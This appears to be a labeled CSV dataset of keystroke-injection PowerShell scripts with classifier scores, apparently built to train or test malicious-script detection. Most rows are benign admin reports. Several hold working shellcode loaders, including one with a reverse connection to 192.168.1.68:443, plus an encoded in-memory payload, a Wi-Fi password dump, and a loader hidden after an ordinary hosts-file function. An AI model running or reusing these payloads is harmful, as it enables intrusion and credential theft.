""msiexec.exe"" -args ""/x $uninstall32 /qn /norestart"" -Wait }}; enter enter",1,1,0.014068784,0.98593116
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_vc1eyeph"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,2) } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.json"") -Encoding UTF8 enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3814365e-05
"win+r powershell enter $sVJ0 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $sVJ0 - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8 enter ,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c enter ,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c enter ,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52 enter ,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50 enter ,0x8b,0x48,0x18,0x8b enter enter",1,1,5.4176264e-05,0.9999459
"win+r powershell enter $4FlJ = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $4FlJ - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8 enter ,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c enter ,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c enter ,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52 enter ,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50 enter ,0x8b,0x48,0x18,0x8b enter enter",1,1,5.4109758e-05,0.9999459
unknown_key_action SHIFT WINDOWS S enter delay_short enter tab enter tab enter tab enter tab enter enter enter delay_short enter win+r enter delay_short enter outlook.exe /c ipm.note /m ratcode404@notarealmail.com?v=1&cc=ratcode405@notarealmail.com enter enter enter delay_medium enter Subject goes here. enter tab enter Hello Ratcode! enter enter enter I like to leave my device unlocked and would want to invite you to some free dinner tonight. enter enter enter xoxo enter unknown_key_action SHIFT INSERT enter delay_short enter unknown_key_action ALT S enter enter enter delay_short enter win+r enter delay_short enter https://www.youtube.com/watch?v=zL19uMsnpSU enter enter enter delay_short enter unknown_key_action M enter delay_short enter unknown_key_action F,1,1,5.915572e-05,0.9999409
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_ogo4wnjb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.txt"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Export-Csv -Path (Join-Path $ReportDir ""disk_psdrive.csv"") -NoTypeInformation enter",0,0,0.9999654,3.4576402e-05
"win+r enter powershell enter enter enter param( enter $Subscribers = @('PSQLSMC30', 'PSQLCBS30', 'STGSQL610', 'ISQLDEV610', 'QSQL610' enter 'PSQLDLS30', 'PSQLDLS31', 'PSQLDLS32', 'PSQLDLS33', 'PSQLDLS34', 'PSQLDLS35', 'PSQLSVC21') enter ) enter enter [System.Reflection.Assembly]::LoadWithPartialName(""Microsoft.SqlServr.Rmo"") enter $DBQuery = ""DECLARE @Subs table ( enter publisher sysname not null, enter publisher_db sysname not null, enter publication sysname null, enter replication_type int not NULL, enter subscription_type int not NULL, enter last_updated datetime null, enter subscriber_db sysname not null, enter update_mode smallint null, enter last_sync_status int null, enter last_sync_summary sysname null, enter last_sync_time datetime null enter ) enter enter INSERT INTO @Subs enter exec sp_MSenumallsubscriptions enter enter SELECT Publisher, Publisher_DB, Publication, Subscriber_DB FROM @Subs enter order by 2"" enter function Run-Query() enter { enter param ( enter $SqlQuery, enter $SqlServer, enter $SqlCatalog enter ) enter enter $SqlConnection = New-Object System.Data.SqlClient.SqlConnection(""Data Source=$SqlServer;Integrated Security=SSPI;Initial Catalog=$SqlCatalog;""); enter enter $SqlCmd = New-Object System.Data.SqlClient.SqlCommand enter $SqlCmd.CommandText = $SqlQuery enter $SqlCmd.Connection = $SqlConnection enter enter $SqlAdapter = New-Object System.Data.SqlClient.SqlDataAdapter enter $SqlAdapter.SelectCommand = $SqlCmd enter enter $DataSet = New-Object System.Data.DataSet enter $a = $SqlAdapter.Fill($DataSet) enter enter $SqlConnection.Close() enter enter $DataSet.Tables | Select-Object -ExpandProperty Rows enter } enter enter function write-log([string]$info) enter { enter if($loginitialized -eq $false) enter { enter $FileHeader > $logfile enter $script:loginitialized = $True enter } enter $info >> $logfile enter } enter enter foreach ($Subscriber IN $Subscribers) { enter write $Subscriber enter $databases = Run-Query -SqlQuery $DBQuery -SqlServer $Subscriber | Select-Object -Property Publisher, Publisher_DB, Publication, Subscriber_DB | Sort-Object -Property Publisher_DB, Publication enter enter if (!$databases) { enter continue; enter } enter enter foreach ($db IN $databases ) { enter $script:logfile = ""C:\Dexma\Logs\$($db.Publisher)-$($db.Publisher_DB)-$($db.Publication).sql"" enter $script:loginitialized = $false enter $script:FileHeader = enter ""-- Publisher:`t`t$($db.Publisher)`r-- PublishedDB:`t`t$($db.Publisher_DB)`r-- Publication:`t`t$($db.Publication)`r-- SubscriberDB:`t$($db.Subscriber_DB)`r"" enter $repserver = New-Object ""Microsoft.SqlServer.Replication.ReplicationServer"" enter $srv = New-Object ""Microsoft.SqlServer.Management.Common.ServerConnection"" $($db.Publisher) enter $srv.connect() enter $repserver.ConnectionContext = $srv enter enter $repdb = $repserver.ReplicationDatabases[$($db.Publisher_DB)] enter enter $publication_object = $repdb.transpublications[$($db.Publication)] enter enter $script_val = [Microsoft.SqlServer.Replication.ScriptOptions]::Creation -bxor [Microsoft.SqlServer.Replication.ScriptOptions]::IncludeGo enter write-log $publication_object.Script($script_val) enter enter Foreach ($article in $publication_object.TransArticles) { enter write-log $article.Script($script_val) enter } enter enter write-log ""---------------------------------------------------------------------------"" enter write-log ""-- subscription creation"" enter write-log ""---------------------------------------------------------------------------"" enter enter Foreach ($subscription in $publication_object.TransSubscriptions) { enter write-log $subscription.Script($script_val) enter } enter } enter } enter enter",0,0,0.99928623,0.00071384263
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_l6bsey5q"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Export-Csv -Path (Join-Path $ReportDir ""disk_psdrive.csv"") -NoTypeInformation enter",0,0,0.9999654,3.4553395e-05
"win+r enter powershell enter enter enter Set-StrictMode -Version 2 enter enter function func_get_proc_address { enter Param ($var_module, $var_procedure) enter $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) enter return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) enter } enter enter function func_get_delegate_type { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, enter [Parameter(Position = 1)] [Type] $var_return_type = [Void] enter ) enter enter $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') enter $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') enter enter return $var_type_builder.CreateType() enter } enter enter If ([IntPtr]::size -eq 8) { enter [Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbKsCMjI3lrquJim5giIyNuEupicmJySSBicmKZdKq85dz2yFp4a6riaxLxaqr7bhLqcUsjEeOncXFimch2DRjc9muq5Wug4HNJKXxrqtKZPCMjI0kjS6MQIyNqqsNimicjIyNimVZlvaXc9muq0muq+Wrk49zc3NxuEupxcWKZDiU7WNz2puMspr4iIyNr3Owsp68iIyPIkMrHIiMjy6Hc3NwMTmpRFiMSSaI/DgKgs8BNkAG+ATRp0r5lr1uVOkdl1TOiLDevIXfl98EDW2WWEZO2UTqZpc3hkc65xN4TC7hoEzW/WpZomZLsTZDt8zdgI3ZQRlEOYkRGTVcZA25MWUpPT0IMFg0TAwtATE5TQldKQU9GGANucGpmAxoNExgDdEpNR0xUUANtdwMVDRIYA3RsdBUXGAN3UUpHRk1XDBYNExgDYlVCTVcDYVFMVFBGUQouKSN5hvKr0w1OnBo1EA/9YZNddsUEZ5M/wqrgOgKCgGrvw9S4DMRqLBEIttLtPRUW1YirBcvu98ACtxUPikv3hXn0XTaVJ9+BQ3aXXRWvVAXVTCbxS49vn104MD94UywbpEhabi2WPEk5Uec2wsH+/KPRPS40Yzcs5DVLn0w2BbFfmHoWaY6m649SaBdXLNdhaPPVAsRfhuZSajbotpQjmJWcMMJmAqTi8bHbsOL8EBUkG/+hV2/RK+IvJjkcNi851n83gFTbKYqsUAlIDyNindOWgXXc9msS6pkjI2MjYpsjMyMjYppjIyMjYpl7h3DG3PZrsHBwa6rEa6rSa6r5YpsjAyMjaqraYpkxtarB3PZroOcDpuNXlUWoJGsi4KbjVvR7e3trJiMjIyNz4Mtc3tzcGhQNERoNGhANFxcjITPtTg==') enter enter for ($x = 0; $x -lt $var_code.Count; $x++) { enter $var_code[$x] = $var_code[$x] -bxor 35 enter } enter enter $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) enter $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) enter [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) enter enter $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) enter $var_runme.Invoke([IntPtr]::Zero) enter } enter [decoded_payloads] enter [decoded:from_base64_string] enter ßk ÇÓËë###brbsqruk ñFk¨qCk¨q;k¨q k¨Qsk,”iin êk ㏠B_! bâê.b""âÁÎqbrk¨q ¨a k""óE¢[;(!VQ¨£«###k¦ãWDk""ós¨k;g¨c j""óÀukÜêb¨ «k""õn êk ãbâê.b""â ÃVÒo o +f òVû{g¨c j""óEb¨/kg¨c?j""ób¨'«k""ób{b{}zyb{bzbyk Ï bqÜÃ{bzyk¨1ÊlÜÜÜ~I#jTJMJMFW#bujªÅoªÒb™oT $Üök êk ñn ãn êbsbsb™ uZ„ÜöÊ°###ykªâb›˜""##n êbrbrI brb™tª¼åÜöÈZxkªâk ñjªûn êqK# ã§qqb™Èv enter Üökªåk àsI)|kªÒ™<###I#K£ ##jªÃbš'###b™Ve½¥ÜökªÒkªùjäãÜÜÜÜn êqqb™ %;XÜö¦ã,¦¾""##kÜì,§¯""##ȐÊÇ""##Ë¡ÜÜÜ NjQ # I¢? ³ÀM ¾ 4iÒ¾e¯[•:GeÕ3¢,7¯!wå÷Á [e– “¶Q:™¥Íá‘ιÄÞ ¸h 5¿Z–h™’ìMíó7`#vPFQ bDFMW nLYJOOB enter @LNSBWJAOF npjf enter tJMGLTP mw enter tlt wQJGFMW enter bUBMW aQLTPFQ enter .)#y†ò«Ó enter Nœ 5 ýa“]vÅ g“?ªà: ‚€jïÃÔ¸ Äj, ¶Òí= Ո« Ëî÷À · ŠK÷ yô]6•'߁Cv—] ¯T ÕL&ñKoŸ]80?xS, ¤HZn-–<I9Qç6ÂÁþü£Ñ=.4c7,ä5KŸL6 ±_˜z iŽ¦ëRh W,×ahóÕ Ä_†æRj6趔#˜•œ0Âf ¤âñ±Û°âü $ ÿ¡WoÑ+â/&9 6/9Ö 7€TÛ)Š¬P H #bÓ–uÜök ê™##c#b›#3##bšc###b™{‡pÆÜök°ppkªÄkªÒkªùb›# ##jªÚb™1µªÁÜök ç ¦ãW•E¨$k""à¦ãVô{{{k&####sàË\ÞÜÜ enter #!3íN enter enter",1,1,5.6614535e-05,0.9999434
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_eumwccfj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_50.csv"") -NoTypeInformation enter Get-Process -Name ""explorer"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 20 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_20.csv"") -NoTypeInformation enter",0,0,0.999966,3.393729e-05
"win+r powershell enter function SQL-Query{ param([string]$Query, [string]$SqlServer = $DEFAULT_SQL_SE enter RVER, [string]$DB = $DEFAULT_SQL_DB, [string]$RecordSeparator = ""`t"") $conn_ enter options = (""Data Source=$SqlServer; Initial Catalog=$DB;"" + ""Integrated Security enter =SSPI"") $conn = New-Object System.Data.SqlClient.SqlConnection($conn_options) enter $conn.Open() $sqlCmd = New-Object System.Data.SqlClient.SqlCommand $sqlCmd.Co enter mmandTimeout = ""300"" enter enter",1,1,0.002760577,0.99723935
"win+r enter powershell enter enter enter  enter enter param( enter $SQLServer = 'STGSQLDOC710', enter $ScriptDir = '\\xfs3\DataManagement\Footprints\31177', enter $Beta = 1, enter [String[]] $DatabaseList, enter $FilePrefix = 'Log', enter [switch]$Log enter ) enter enter $SQuery = ""SELECT StageDB FROM ClientConnection WHERE Beta = "" + $Beta enter $DQuery = ""SELECT ReportDB FROM ClientConnection WHERE Beta = "" + $Beta + "" ORDER BY 1"" enter enter $Query = $SQuery + "" UNION "" + $DQuery enter enter $Databases = Invoke-Sqlcmd -ServerInstance $SQLServer -Database PA_DMart -Query $Query enter enter $DataScripts = Get-ChildItem -Path $ScriptDir -Filter *Data*.sql | sort-object -desc enter $StageScripts = Get-ChildItem -Path $ScriptDir -Filter *Stage*.sql | sort-object -desc enter if ($Databases) { enter foreach ($i IN $Databases) { enter Write-Host ""Begin"" $i[0] enter if ($i[0].EndsWith(""Stage"")) { enter enter if ($StageScripts) { enter foreach ( $StageScript IN $StageScripts ) { enter Invoke-SQLCMD -ServerInstance $SQLServer -Database $i[0] -InputFile $StageScript.FullName enter Write-Host ""`tApplied "" $StageScript.fullname ""to the"" $i[0]""database""on"" $SQLServer."" enter } enter } enter } enter elseif ($i[0].EndsWith(""Data"")) { enter enter if ($DataScripts) { enter foreach ( $DataScript IN $DataScripts ) { enter Invoke-SQLCMD -ServerInstance $SQLServer -Database $i[0] -InputFile $DataScript.FullName enter Write-Host ""`tApplied "" $DataScript.FullName ""to the"" $i[0]""database""on"" $SQLServer."" enter } enter } enter } enter else { enter Write-Host ""WTF "" $i[0] "" is not a Data or Stage database."" enter } enter Write-Host ""End"" $i[0] enter } enter } enter enter",0,0,0.9998838,0.00011622194
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_d4jvs2wo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_75.txt"") -Encoding UTF8 enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter",0,0,0.99996567,3.4275417e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_3fms8h1d"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Export-Csv -Path (Join-Path $ReportDir ""disk_volume.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4482357e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_0hwye41i"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Select-Object -First 50 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4477885e-05
"win+r powershell enter function Get-WLANPass { $netsh = (netsh wlan show profiles) $netsh | Select-Str enter ing ""\:(.+)$"" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan s enter how profile name=""$name"" key=clear)} | Select-String ""Key Content\W+\:(.+)$"" | % enter {$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAM enter E=$name;PASSWORD=$pass }} | Format-Table -AutoSize } enter enter",0,1,0.012463485,0.9875365
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_1i6zjixi"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.json"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.txt"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter",0,0,0.9999652,3.4762208e-05
win+r powershell enter  function Clean-ResourceGroup($rgname) { Remove-AzResourceGroup -Name $rgname enter -Force } enter enter,0,1,0.07500079,0.92499924
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_n6qv5ltm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.json"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_15.json"") -Encoding UTF8 enter",0,0,0.9999653,3.4631445e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_e28bq52p"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_errors_100.csv"") -NoTypeInformation enter Write-Host ""Starting network_checks section 2."" enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.json"") -Encoding UTF8 enter",0,0,0.999966,3.3985223e-05
"win+r enter powershell enter enter enter function Set-CHostsEntry enter { enter enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [Parameter(Mandatory=$true)] enter [Net.IPAddress] enter enter $IPAddress, enter enter [Parameter(Mandatory=$true)] enter [string] enter enter $HostName, enter enter [string] enter enter $Description, enter enter [string] enter enter $Path = (Get-CPathToHostsFile) enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter $matchPattern = '^(?<IP>[0-9a-f.:]+)\s+(?<HostName>[^\s enter $lineFormat = ""{0,-45} {1}{2}"" enter enter if(-not (Test-Path $Path)) enter { enter Write-Warning ""Creating hosts file at: $Path"" enter New-Item $Path -ItemType File enter } enter enter [string[]]$lines = Read-CFile -Path $Path -ErrorVariable 'cmdErrors' enter if( $cmdErrors ) enter { enter return enter } enter enter $outLines = New-Object 'Collections.ArrayList' enter $found = $false enter $lineNum = 0 enter $updateHostsFile = $false enter enter foreach($line in $lines) enter { enter $lineNum += 1 enter enter if($line.Trim().StartsWith("" enter { enter [void] $outlines.Add($line) enter } enter elseif($line -match $matchPattern) enter { enter $ip = $matches[""IP""] enter $hn = $matches[""HostName""] enter $tail = $matches[""Tail""].Trim() enter if( $HostName -eq $hn ) enter { enter if($found) enter { enter enter [void] $outlines.Add("" enter $updateHostsFile = $true enter continue enter } enter $ip = $IPAddress enter $tail = if( $Description ) { ""`t enter $found = $true enter } enter else enter { enter $tail = ""`t{0}"" -f $tail enter } enter enter if( $tail.Trim() -eq "" enter { enter $tail = """" enter } enter enter $outline = $lineformat -f $ip, $hn, $tail enter $outline = $outline.Trim() enter if( $outline -ne $line ) enter { enter $updateHostsFile = $true enter } enter enter [void] $outlines.Add($outline) enter enter } enter else enter { enter Write-Warning (""Hosts file {0}: line {1}: invalid entry: {2}"" -f $Path,$lineNum,$line) enter $outlines.Add( (' enter } enter enter } enter enter if(-not $found) enter { enter enter $tail = ""`t enter if($tail.Trim() -eq "" enter { enter $tail = """" enter } enter enter $outline = $lineformat -f $IPAddress, $HostName, $tail enter $outline = $outline.Trim() enter [void] $outlines.Add($outline) enter $updateHostsFile = $true enter } enter enter if( -not $updateHostsFile ) enter { enter return enter } enter enter Write-Verbose -Message ('[HOSTS] [{0}] {1,-45} {2}' -f $Path,$IPAddress,$HostName) enter $outLines | Write-CFile -Path $Path enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x44,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) 